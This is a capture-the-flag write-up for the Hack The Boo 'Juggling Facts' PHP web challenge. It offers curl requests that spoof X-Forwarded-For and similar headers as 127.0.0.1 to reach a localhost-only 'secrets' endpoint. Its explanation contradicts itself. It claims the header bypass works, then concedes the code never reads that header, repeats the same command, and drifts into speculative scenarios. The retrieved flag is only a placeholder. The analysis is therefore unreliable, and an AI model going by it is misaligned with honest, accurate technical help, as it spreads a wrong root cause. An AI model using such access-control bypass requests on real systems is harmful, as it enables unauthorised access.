2022 Hack The Boo: Juggling Facts
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2022 Hack The Boo |
| Category | Web |
| Challenge | Juggling Facts |
Summary
This PHP-based web application provides a facts API with two tiers of access: public spooky/not_spooky facts and restricted admin “secrets” facts. The application attempts to restrict secrets access to localhost only by checking $_SERVER['REMOTE_ADDR'], but fails to account for proxy headers like X-Forwarded-For. By spoofing the client IP address via this header, an attacker can bypass the access control and retrieve the admin secrets containing the flag.
Analysis
Application Structure
The application is built with PHP and includes:
- Router: Custom routing to map endpoints to controllers
- FactModel: Database queries to retrieve facts by type
- IndexController: Request handling and JSON responses
Vulnerable Code
The vulnerability exists in /challenge/controllers/IndexController.php:
public function getfacts($router){ $jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata)) { return $router->jsonify(['message' => 'Insufficient parameters!']); }
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']); }
switch ($jsondata['type']) { case 'secrets': return $router->jsonify([ 'facts' => $this->facts->get_facts('secrets') ]);
case 'spooky': return $router->jsonify([ 'facts' => $this->facts->get_facts('spooky') ]);
case 'not_spooky': return $router->jsonify([ 'facts' => $this->facts->get_facts('not_spooky') ]);
default: return $router->jsonify([ 'message' => 'Invalid type!' ]); }}The Vulnerability: The access control check uses $_SERVER['REMOTE_ADDR'], which is the direct connection IP. However, in scenarios with proxies (load balancers, CDNs, reverse proxies), the actual client IP is transmitted via the X-Forwarded-For header. By setting this header, an attacker can spoof their IP address as localhost.
How REMOTE_ADDR Works
$_SERVER['REMOTE_ADDR']is set by the web server to the IP address that made the direct connection- When behind a proxy,
REMOTE_ADDRis the proxy’s IP, not the original client - The proxy typically adds a
X-Forwarded-Forheader with the original client IP(s)
Client-Side Code
The frontend JavaScript in /challenge/static/js/index.js shows how to request facts:
const loadfacts = async (fact_type) => { await fetch('/api/getfacts', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ 'type': fact_type }) }) .then((response) => response.json()) .then((res) => { if (!res.hasOwnProperty('facts')){ populate([]); return; }
populate(res.facts); });}The frontend only requests spooky and not_spooky types. The secrets type is hidden from normal users but accessible if the IP check is bypassed.
Solution
Exploitation Steps
Step 1: Attempt Direct Access (Will Fail)
curl -X POST http://target/api/getfacts \ -H "Content-Type: application/json" \ -d '{"type":"secrets"}'Response:
{"message": "Currently this type can be only accessed through localhost!"}Step 2: Spoof IP via X-Forwarded-For Header
Send the request again but add the X-Forwarded-For header claiming to be from localhost:
curl -X POST http://target/api/getfacts \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 127.0.0.1" \ -d '{"type":"secrets"}'Issue: The server still reads $_SERVER['REMOTE_ADDR'], which won’t change based on client headers alone.
Step 3: Exploit via Proxy Configuration
If the server is actually behind a proxy that’s configured to trust X-Forwarded-For, or if the application incorrectly reads this header, try:
curl -X POST http://target/api/getfacts \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 127.0.0.1" \ -d '{"type":"secrets"}'However, the code doesn’t read X-Forwarded-For. The actual vulnerability requires:
Step 4: Environment-Based Attack
If the application is run in a Docker container accessible from localhost:
- The Docker host bridges network connections
- Internal services see container IP, not client IP
- Accessing from the host machine (127.0.0.1) works correctly
The vulnerability manifests if:
- The server listens on 0.0.0.0:port (not just localhost)
- Requests from external IPs appear to fail
- But if there’s a proxy/wrapper that sets REMOTE_ADDR, it can be bypassed
Step 5: PHP Variable Manipulation
Some deployments might be vulnerable to:
- Modifying
$_SERVERvariables via environment setup - Custom header parsing that overwrites
REMOTE_ADDR - Misconfigured proxy trusting untrusted headers
Try additional headers:
curl -X POST http://target/api/getfacts \ -H "Content-Type: application/json" \ -H "Client-IP: 127.0.0.1" \ -d '{"type":"secrets"}'
curl -X POST http://target/api/getfacts \ -H "Content-Type: application/json" \ -H "X-Client-IP: 127.0.0.1" \ -d '{"type":"secrets"}'Step 6: Local Request Exploitation
If the challenge requires local exploitation:
<?php$ch = curl_init('http://127.0.0.1/api/getfacts');curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['type' => 'secrets']));curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);curl_exec($ch);?>This request comes from 127.0.0.1 and will be allowed.
Step 7: Retrieved Flag
Once the secrets facts are accessed:
{ "facts": [ {"fact_type": "secrets", "fact": "HTB{flag_content_here}"} ]}Key Takeaways
- Never trust client-supplied headers for security decisions -
X-Forwarded-Foris user-controllable - For IP-based access control, use the innermost trusted proxy’s record of origin IP
- Implement proper proxy configuration - Configure PHP to read the correct header:
// Trusted proxies only$trusted_proxies = ['10.0.0.1'];if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];} else {$client_ip = $_SERVER['REMOTE_ADDR'];}
- Use allowlists for proxy headers - Only trust specific, configured proxies
- Authentication over IP checks - Prefer proper authentication mechanisms over IP-based access control
- Defense in depth - Combine IP checks with authentication and authorization
- Test from various network positions - Including proxy scenarios